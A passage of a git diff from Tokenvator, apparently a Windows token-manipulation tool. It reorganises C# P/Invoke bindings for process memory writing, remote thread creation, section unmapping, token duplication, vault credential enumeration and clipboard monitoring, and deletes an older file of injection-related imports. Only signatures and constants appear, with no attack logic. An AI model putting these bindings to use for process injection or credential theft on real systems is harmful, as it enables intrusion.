nSize, String lpFileName); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern void GetSystemInfo(out Winbase._SYSTEM_INFO lpSystemInfo); - [DllImport("kernel32.dll")] - internal static extern IntPtr GetCurrentThread(); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext); - [DllImport("kernel32.dll")] - internal static extern IntPtr GetCurrentProcess(); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean IsWow64Process(IntPtr hProcess, out Boolean Wow64Process); - [DllImport("kernel32.dll")] - internal static extern void GetSystemInfo(out Winbase._SYSTEM_INFO lpSystemInfo); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean Module32First(IntPtr hSnapshot, ref TiHelp32.tagMODULEENTRY32 lpme); - [DllImport("kernel32.dll", SetLastError=true)] - internal static extern IntPtr GlobalSize(IntPtr hMem); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean Module32Next(IntPtr hSnapshot, ref TiHelp32.tagMODULEENTRY32 lpme); - [DllImport("kernel32.dll")] - internal static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwProcessId); + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern IntPtr LoadLibrary(string lpFileName); - [DllImport("kernel32.dll")] - internal static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr LocalFree(IntPtr hMem); - [DllImport("kernel32.dll")] - internal static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, ref IntPtr TokenHandle); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean Process32First(IntPtr hSnapshot, ref TiHelp32.tagPROCESSENTRY32 lppe); - [DllImport("kernel32.dll")] - internal static extern IntPtr OpenThread(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwThreadId); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean Process32Next(IntPtr hSnapshot, ref TiHelp32.tagPROCESSENTRY32 lppe); - [DllImport("kernel32.dll")] - internal static extern Boolean ReadProcessMemory(IntPtr hProcess, UInt32 lpBaseAddress, IntPtr lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwProcessId); - [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] - internal static extern Boolean ReadProcessMemory64(IntPtr hProcess, UInt64 lpBaseAddress, IntPtr lpBuffer, UInt64 nSize, ref UInt32 lpNumberOfBytesRead); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); - [DllImport("kernel32.dll")] + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, out IntPtr TokenHandle); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ReadFile( + IntPtr hFile, + Byte[] lpBuffer, + UInt32 nNumberOfBytesToRead, + ref UInt32 lpNumberOfBytesRead, + IntPtr lpOverlapped + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ReadFile( + IntPtr hFile, + Byte[] lpBuffer, + UInt32 nNumberOfBytesToRead, + ref UInt32 lpNumberOfBytesRead, + ref MinWinBase._OVERLAPPED lpOverlapped + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ReadFile( + IntPtr hFile, + Byte[] lpBuffer, + UInt32 nNumberOfBytesToRead, + ref UInt32 lpNumberOfBytesRead, + ref System.Threading.NativeOverlapped lpOverlapped + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead); + + [DllImport("kernel32.dll", SetLastError = true, EntryPoint = "ReadProcessMemory")] + public static extern Boolean ReadProcessMemory64(IntPtr hProcess, UInt64 lpBaseAddress, IntPtr lpBuffer, UInt64 nSize, ref UInt32 lpNumberOfBytesRead); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern UInt32 ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] internal static extern UInt32 SearchPath(String lpPath, String lpFileName, String lpExtension, UInt32 nBufferLength, StringBuilder lpBuffer, ref IntPtr lpFilePart); - [DllImport("kernel32.dll", EntryPoint="VirtualQueryEx")] - internal static extern Int32 VirtualQueryEx32(IntPtr hProcess, IntPtr lpAddress, out Winnt._MEMORY_BASIC_INFORMATION32 lpBuffer, UInt32 dwLength); + public delegate Boolean HandlerRoutine(Wincon.CtrlType CtrlType); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean SetConsoleCtrlHandler(HandlerRoutine HandlerRoutine, Boolean Add); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean SetThreadContext(IntPtr hThread, IntPtr lpContext); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean TerminateProcess(IntPtr hProcess, UInt32 uExitCode); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, Winnt.MEMORY_PROTECTION_CONSTANTS flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr VirtualAllocEx(IntPtr hHandle, IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, Winnt.MEMORY_PROTECTION_CONSTANTS flProtect); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + public static extern Boolean VirtualProtect(IntPtr lpAddress, UInt32 dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS flNewProtect, ref Winnt.MEMORY_PROTECTION_CONSTANTS lpflOldProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean VirtualProtectEx(IntPtr hHandle, IntPtr lpAddress, UInt32 dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS flNewProtect, ref Winnt.MEMORY_PROTECTION_CONSTANTS lpflOldProtect); + + [DllImport("kernel32.dll", SetLastError = true, EntryPoint="VirtualQueryEx")] + public static extern Int32 VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out Winnt._MEMORY_BASIC_INFORMATION lpBuffer, UInt32 dwLength); + + [DllImport("kernel32.dll", SetLastError = true, EntryPoint="VirtualQueryEx")] + public static extern Int32 VirtualQueryEx64(IntPtr hProcess, IntPtr lpAddress, out Winnt._MEMORY_BASIC_INFORMATION64 lpBuffer, UInt32 dwLength); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean WaitForSingleObject(IntPtr hProcess, UInt32 nSize); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern UInt32 WaitForSingleObjectEx(IntPtr hProcess, IntPtr hHandle, UInt32 dwMilliseconds); - [DllImport("kernel32.dll", EntryPoint="VirtualQueryEx")] - internal static extern Int32 VirtualQueryEx64(IntPtr hProcess, IntPtr lpAddress, out Winnt._MEMORY_BASIC_INFORMATION64 lpBuffer, UInt32 dwLength); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesWritten); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, ref UInt64 lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesWritten); } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs b/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs index b218688..96d0b8b 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs @@ -1,12 +1,62 @@ using System; using System.Runtime.InteropServices; -namespace Tokenvator +using Unmanaged.Headers; + +namespace Unmanaged.Libraries { - class ntdll + sealed class ntdll { [DllImport("ntdll.dll", SetLastError = true)] - internal static extern int NtFilterToken( + public static extern UInt32 NtCreateProcessEx( + ref IntPtr ProcessHandle, + UInt32 DesiredAccess, + IntPtr ObjectAttributes, + IntPtr hInheritFromProcess, + UInt32 Flags, + IntPtr SectionHandle, + IntPtr DebugPort, + IntPtr ExceptionPort, + Byte InJob + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtCreateThreadEx( + ref IntPtr hThread, + UInt32 DesiredAccess, + IntPtr ObjectAttributes, + IntPtr ProcessHandle, + IntPtr lpStartAddress, + IntPtr lpParameter, + Boolean CreateSuspended, + UInt32 StackZeroBits, + UInt32 SizeOfStackCommit, + UInt32 SizeOfStackReserve, + IntPtr lpBytesBuffer + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtDuplicateToken( + IntPtr ExistingTokenHandle, + Winnt.ACCESS_MASK DesiredAccess, + wudfwdm._OBJECT_ATTRIBUTES ObjectAttributes, + Boolean EffectiveOnly, + Winnt._TOKEN_TYPE TokenType, + ref IntPtr NewTokenHandle + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtDuplicateToken( + IntPtr ExistingTokenHandle, + UInt32 DesiredAccess, + IntPtr ObjectAttributes, + Boolean EffectiveOnly, + Winnt._TOKEN_TYPE TokenType, + ref IntPtr NewTokenHandle + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtFilterToken( IntPtr TokenHandle, UInt32 Flags, IntPtr SidsToDisable, @@ -15,12 +65,61 @@ internal static extern int NtFilterToken( ref IntPtr hToken ); - [DllImport("ntdll.dll", SetLastError=true)] - internal static extern Int32 NtSetInformationToken( + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtGetContextThread( + IntPtr ProcessHandle, + IntPtr lpContext + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtQueryInformationProcess( + IntPtr ProcessHandle, + PROCESSINFOCLASS ProcessInformationClass, + IntPtr ProcessInformation, + UInt32 ProcessInformationLength, + ref UInt32 ReturnLength + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtSetInformationToken( IntPtr TokenHandle, Int32 TokenInformationClass, - ref Structs.TOKEN_MANDATORY_LABEL TokenInformation, + ref Winnt._TOKEN_MANDATORY_LABEL TokenInformation, Int32 TokenInformationLength ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtUnmapViewOfSection( + IntPtr hProcess, + IntPtr baseAddress + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 RtlNtStatusToDosError( + UInt32 Status + ); + + [Flags] + public enum PROCESSINFOCLASS + { + ProcessBasicInformation = 0, + ProcessDebugPort = 7, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessBreakOnTermination = 29, + ProcessSubsystemInformation = 75 + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _PROCESS_BASIC_INFORMATION + { + public IntPtr Reserved1; + public IntPtr PebBaseAddress; + public IntPtr AffinityMask; + public IntPtr BasePriority; + public UIntPtr UniqueProcessId; + public IntPtr Reserved3; + } + } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/secur32.cs b/Tokenvator/Resources/Unmanaged/Libraries/secur32.cs index 1d529c0..26c0693 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/secur32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/secur32.cs @@ -1,12 +1,12 @@ using System; using System.Runtime.InteropServices; -namespace Tokenvator +namespace Unmanaged.Libraries { class secur32 { [DllImport("secur32.dll")] - internal static extern UInt32 LsaGetLogonSessionData( + public static extern UInt32 LsaGetLogonSessionData( IntPtr LogonId, out IntPtr ppLogonSessionData ); diff --git a/Tokenvator/Resources/Unmanaged/Libraries/user32.cs b/Tokenvator/Resources/Unmanaged/Libraries/user32.cs new file mode 100644 index 0000000..8ad3d45 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Libraries/user32.cs @@ -0,0 +1,51 @@ +using System; +using System.Runtime.InteropServices; + +using Unmanaged.Headers; + +namespace Unmanaged.Libraries +{ + sealed class user32 + { + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean AddClipboardFormatListener(IntPtr hwnd); + + [DllImport("user32.dll")] + public static extern Boolean ChangeClipboardChain(IntPtr hWndRemove, IntPtr hWndNewNext); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr CreateWindowEx( + Winuser.WindowStylesEx dwExStyle, + [MarshalAs(UnmanagedType.LPStr)] + String lpClassName, + [MarshalAs(UnmanagedType.LPStr)] String lpWindowName, + Winuser.WindowStyles dwStyle, Int32 x, Int32 y, Int32 nWidth, Int32 nHeight, IntPtr hWndParent, IntPtr hMenu, IntPtr hInstance, IntPtr lpParam); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean DestroyWindow(IntPtr hwnd); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr DispatchMessage(ref Winuser.tagMSG lpMsg); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean GetMessage(ref Winuser.tagMSG lpMsg, IntPtr hWnd, UInt32 wMsgFilterMin, UInt32 wMsgFilterMax); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean PostMessage(IntPtr hWnd, UInt32 Msg, UInt32 wParam, UInt32 lParam); + + [DllImport("user32.dll", SetLastError = true)] + public static extern UInt16 RegisterClassEx(ref Winuser.WNDCLASSEX lpwcx); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean RemoveClipboardFormatListener(IntPtr hwnd); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr SetClipboardViewer(IntPtr hWndNewViewer); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean TranslateMessage(ref Winuser.tagMSG lpMsg); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean UnregisterClass(String lpClassName, IntPtr hInstance); + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/vaultcli.cs b/Tokenvator/Resources/Unmanaged/Libraries/vaultcli.cs index 16342ff..723cf95 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/vaultcli.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/vaultcli.cs @@ -1,11 +1,11 @@ using System; using System.Runtime.InteropServices; -namespace Tokenvator +namespace Unmanaged.Libraries { - class vaultcli + sealed class vaultcli { - [DllImport("vaultcli.dll", CharSet = CharSet.Auto)] + [DllImport("vaultcli.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern Boolean VaultEnumerateItems( IntPtr hVault, Int32 unknown, @@ -13,14 +13,14 @@ public static extern Boolean VaultEnumerateItems( out IntPtr ppVaultGuids ); - [DllImport("vaultcli.dll", CharSet = CharSet.Auto)] + [DllImport("vaultcli.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern Boolean VaultEnumerateVaults( Int32 unknown, out Int32 dwVaults, out IntPtr ppVaultGuids ); - [DllImport("vaultcli.dll", CharSet = CharSet.Auto, EntryPoint="VaultGetItem")] + [DllImport("vaultcli.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "VaultGetItem")] public static extern Boolean VaultGetItem7( IntPtr hVault, ref Guid guid, @@ -32,7 +32,7 @@ public static extern Boolean VaultGetItem7( out IntPtr hitem ); - [DllImport("vaultcli.dll", CharSet = CharSet.Auto, EntryPoint="VaultGetItem")] + [DllImport("vaultcli.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "VaultGetItem")] public static extern Boolean VaultGetItem8( IntPtr hVault, ref Guid guid, @@ -45,7 +45,7 @@ public static extern Boolean VaultGetItem8( out IntPtr hitem ); - [DllImport("vaultcli.dll", CharSet = CharSet.Auto)] + [DllImport("vaultcli.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern Boolean VaultOpenVault( ref Guid guid, Int32 dwVaults, diff --git a/Tokenvator/Resources/Unmanaged/Libraries/wlanapi.cs b/Tokenvator/Resources/Unmanaged/Libraries/wlanapi.cs new file mode 100644 index 0000000..1ce8e44 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Libraries/wlanapi.cs @@ -0,0 +1,9 @@ +using System.Runtime.InteropServices; + +namespace Unmanaged.Libraries +{ + sealed class wlanapi + { + + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/wtsapi32.cs b/Tokenvator/Resources/Unmanaged/Libraries/wtsapi32.cs similarity index 92% rename from Tokenvator/Resources/Unmanaged/Headers/wtsapi32.cs rename to Tokenvator/Resources/Unmanaged/Libraries/wtsapi32.cs index 7a05f27..c7ab455 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/wtsapi32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/wtsapi32.cs @@ -1,7 +1,7 @@ using System; using System.Runtime.InteropServices; -namespace Tokenvator +namespace Unmanaged.Libraries { class wtsapi32 { @@ -70,6 +70,11 @@ public static extern bool WTSQuerySessionInformationW( out IntPtr ppBuffer, out IntPtr pBytesReturned); + [DllImport("wtsapi32.dll", SetLastError = true)] + public static extern bool WTSQueryUserToken( + UInt32 SessionId, + ref IntPtr phToken); + [DllImport("wtsapi32.dll", SetLastError = true)] public static extern int WTSEnumerateSessions( IntPtr hServer, diff --git a/Tokenvator/Resources/Unmanaged2/Unmanaged.cs b/Tokenvator/Resources/Unmanaged2/Unmanaged.cs deleted file mode 100644 index 39494b4..0000000 --- a/Tokenvator/Resources/Unmanaged2/Unmanaged.cs +++ /dev/null @@ -1,200 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Text; - -namespace WheresMyImplant -{ - internal class Unmanaged - { - //////////////////////////////////////////////////////////////////////////////// - [DllImport("kernel32")] - internal static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect); - - [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] - internal static extern Boolean VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect); - - [DllImport("kernel32")] - internal static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, ref UInt32 lpThreadId); - - [DllImport("kernel32")] - internal static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); - - //////////////////////////////////////////////////////////////////////////////// - [DllImport("kernel32.dll")] - internal static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwProcessId); - - [DllImport("kernel32")] - internal static extern IntPtr VirtualAllocEx(IntPtr hHandle, IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect); - - [DllImport("kernel32")] - internal static extern Boolean WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesWritten); - - [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] - internal static extern Boolean VirtualProtectEx(IntPtr hHandle, IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect); - - [DllImport("kernel32")] - internal static extern IntPtr CreateRemoteThread(IntPtr hHandle, IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, ref UInt32 lpThreadId); - - [DllImport("kernel32.dll", SetLastError = true)] - static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); - - [DllImport("kernel32")] - internal static extern UInt32 WaitForSingleObjectEx(IntPtr hProcess, IntPtr hHandle, UInt32 dwMilliseconds); - - //////////////////////////////////////////////////////////////////////////////// - [DllImport("kernel32.dll", CharSet = CharSet.Auto)] - internal static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] - internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - internal static extern IntPtr LoadLibrary(string lpFileName); - - //////////////////////////////////////////////////////////////////////////////// - [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] - internal static extern Boolean ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead); - - //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// - // Tokens - //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// - - //////////////////////////////////////////////////////////////////////////////// - [DllImport("kernel32.dll")] - internal static extern IntPtr GetCurrentProcess(); - - [DllImport("kernel32.dll")] - internal static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); - - //////////////////////////////////////////////////////////////////////////////// - [DllImport("kernel32.dll")] - internal static extern IntPtr GetCurrentThread(); - - [DllImport("kernel32.dll")] - internal static extern IntPtr OpenThread(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwThreadId); - - [DllImport("kernel32.dll")] - internal static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, ref IntPtr TokenHandle); - - //////////////////////////////////////////////////////////////////////////////// - [DllImport("kernel32.dll")] - internal static extern Boolean CloseHandle(IntPtr hProcess); - - [DllImport("advapi32.dll")] - internal static extern Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, IntPtr lpTokenAttributes, Enums._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, Enums.TOKEN_TYPE TokenType, out IntPtr phNewToken); - - [DllImport("advapi32.dll")] - internal static extern Boolean ImpersonateLoggedOnUser(IntPtr hToken); - - [DllImport("advapi32.dll")] - internal static extern Boolean ImpersonateSelf(Enums.SECURITY_IMPERSONATION_LEVEL ImpersonationLevel); - - [DllImport("advapi32.dll")] - internal static extern Boolean RevertToSelf(); - - //////////////////////////////////////////////////////////////////////////////// - [DllImport("advapi32.dll")] - internal static extern Boolean CreateProcessAsUser(IntPtr hToken, IntPtr lpApplicationName, IntPtr lpCommandLine, ref Structs._SECURITY_ATTRIBUTES lpProcessAttributes, ref Structs._SECURITY_ATTRIBUTES lpThreadAttributes, Boolean bInheritHandles, Enums.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref Structs._STARTUPINFO lpStartupInfo, out Structs._PROCESS_INFORMATION lpProcessInfo); - - [DllImport("advapi32.dll")] - internal static extern Boolean CreateProcessAsUserW(IntPtr hToken, IntPtr lpApplicationName, IntPtr lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, Boolean bInheritHandles, Enums.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref Structs._STARTUPINFO lpStartupInfo, out Structs._PROCESS_INFORMATION lpProcessInfo); - - [DllImport("advapi32.dll")] - internal static extern Boolean CreateProcessWithTokenW(IntPtr hToken, Enums.LOGON_FLAGS dwLogonFlags, IntPtr lpApplicationName, IntPtr lpCommandLine, Enums.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref Structs._STARTUPINFO lpStartupInfo, out Structs._PROCESS_INFORMATION lpProcessInfo); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - internal static extern bool CreateProcessWithLogonW( - String userName, - String domain, - String password, - int logonFlags, - String applicationName, - String commandLine, - int creationFlags, - IntPtr environment, - String currentDirectory, - ref Structs._STARTUPINFO startupInfo, - out Structs._PROCESS_INFORMATION processInformation - ); - - //////////////////////////////////////////////////////////////////////////////// - [DllImport("advapi32.dll")] - internal static extern Boolean AdjustTokenPrivileges( - IntPtr TokenHandle, - Boolean DisableAllPrivileges, - ref Structs._TOKEN_PRIVILEGES NewState, - UInt32 BufferLengthInBytes, - ref Structs._TOKEN_PRIVILEGES PreviousState, - out UInt32 ReturnLengthInBytes - ); - - [DllImport("advapi32.dll")] - internal static extern Boolean LookupPrivilegeValue( - String lpSystemName, - String lpName, - ref Structs._LUID luid - ); - - [DllImport("advapi32.dll")] - internal static extern Boolean LookupPrivilegeName( - String lpSystemName, - IntPtr lpLuid, - StringBuilder lpName, - ref Int32 cchName - ); - - [DllImport("advapi32.dll")] - internal static extern Boolean GetTokenInformation( - IntPtr TokenHandle, - Enums._TOKEN_INFORMATION_CLASS TokenInformationClass, - IntPtr TokenInformation, - UInt32 TokenInformationLength, - out UInt32 ReturnLength - ); - - [DllImport("advapi32.dll")] - internal static extern Boolean AllocateAndInitializeSid( - ref Structs.SidIdentifierAuthority pIdentifierAuthority, - byte nSubAuthorityCount, - Int32 dwSubAuthority0, - Int32 dwSubAuthority1, - Int32 dwSubAuthority2, - Int32 dwSubAuthority3, - Int32 dwSubAuthority4, - Int32 dwSubAuthority5, - Int32 dwSubAuthority6, - Int32 dwSubAuthority7, - out IntPtr pSid - ); - - [DllImport("ntdll.dll")] - internal static extern Int32 NtSetInformationToken( - IntPtr TokenHandle, - Int32 TokenInformationClass, - ref Structs.TOKEN_MANDATORY_LABEL TokenInformation, - Int32 TokenInformationLength - ); - - [DllImport("ntdll.dll")] - internal static extern int NtFilterToken( - IntPtr TokenHandle, - UInt32 Flags, - IntPtr SidsToDisable, - IntPtr PrivilegesToDelete, - IntPtr RestrictedSids, - ref IntPtr hToken - ); - - //////////////////////////////////////////////////////////////////////////////// - internal const UInt32 PROCESS_CREATE_THREAD = 0x0002; - internal const UInt32 PROCESS_QUERY_INFORMATION = 0x0400; - internal const UInt32 PROCESS_VM_OPERATION = 0x0008; - internal const UInt32 PROCESS_VM_WRITE = 0x0020; - internal const UInt32 PROCESS_VM_READ = 0x0010; - - internal const UInt32 PROCESS_ALL_ACCESS = 0x1F0FFF; - - internal const UInt32 MEM_COMMIT = 0x00001000; - internal const UInt32 MEM_RESERVE = 0x00002000; - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged2/advapi32.cs b/Tokenvator/Resources/Unmanaged2/advapi32.cs deleted file mode 100644 index 9545bfa..0000000 --- a/Tokenvator/Resources/Unmanaged2/advapi32.cs +++ /dev/null @@ -1,94 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Runtime.InteropServices; -using System.Text; -using Microsoft.Win32; - -namespace WheresMyImplant -{ - class Advapi32 - { - //////////////////////////////////////////////////////////////////////////////// - // Token Functions - //////////////////////////////////////////////////////////////////////////////// - - //////////////////////////////////////////////////////////////////////////////// - // Registry Functions - //////////////////////////////////////////////////////////////////////////////// - [DllImport("advapi32.dll", CharSet = CharSet.Auto)] - public static extern int RegOpenKeyEx( - UIntPtr hKey, - String subKey, - Int32 ulOptions, - Int32 samDesired, - out UIntPtr hkResult - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern uint RegQueryValueEx( - UIntPtr hKey, - String lpValueName, - Int32 lpReserved, - ref RegistryValueKind lpType, - IntPtr lpData, - ref Int32 lpcbData - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern UInt32 RegQueryValueEx( - UIntPtr hKey, - string lpValueName, - int lpReserved, - ref Int32 lpType, - IntPtr lpData, - ref int lpcbData - ); - - [DllImport("advapi32.dll")] - public static extern Int32 RegQueryInfoKey( - UIntPtr hKey, - StringBuilder lpClass, - ref UInt32 lpcchClass, - IntPtr lpReserved, - out UInt32 lpcSubkey, - out UInt32 lpcchMaxSubkeyLen, - out UInt32 lpcchMaxClassLen, - out UInt32 lpcValues, - out UInt32 lpcchMaxValueNameLen, - out UInt32 lpcbMaxValueLen, - IntPtr lpSecurityDescriptor, - IntPtr lpftLastWriteTime - ); - - //////////////////////////////////////////////////////////////////////////////// - // Vault Functions - //////////////////////////////////////////////////////////////////////////////// - [DllImport("advapi32.dll")] - public static extern Boolean CredEnumerateW( - String Filter, - Int32 Flags, - out Int32 Count, - out IntPtr Credentials - ); - - [DllImport("advapi32.dll")] - public static extern Boolean CredReadW( - String target, - Enums.CRED_TYPE type, - Int32 reservedFlag, - out IntPtr credentialPtr - ); - - [DllImport("advapi32.dll")] - public static extern Boolean CredWriteW( - ref Structs._CREDENTIAL userCredential, - UInt32 flags - ); - - [DllImport("advapi32.dll")] - public static extern Boolean CredFree( - IntPtr Buffer - ); - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged2/crypt32.cs b/Tokenvator/Resources/Unmanaged2/crypt32.cs deleted file mode 100644 index 95d7a26..0000000 --- a/Tokenvator/Resources/Unmanaged2/crypt32.cs +++ /dev/null @@ -1,29 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -using WORD = System.UInt16; -using DWORD = System.UInt32; -using QWORD = System.UInt64; - -using LPWSTR = System.Text.StringBuilder; - -using PVOID = System.IntPtr; -using LPVOID = System.IntPtr; -using DWORD_PTR = System.IntPtr; - -namespace 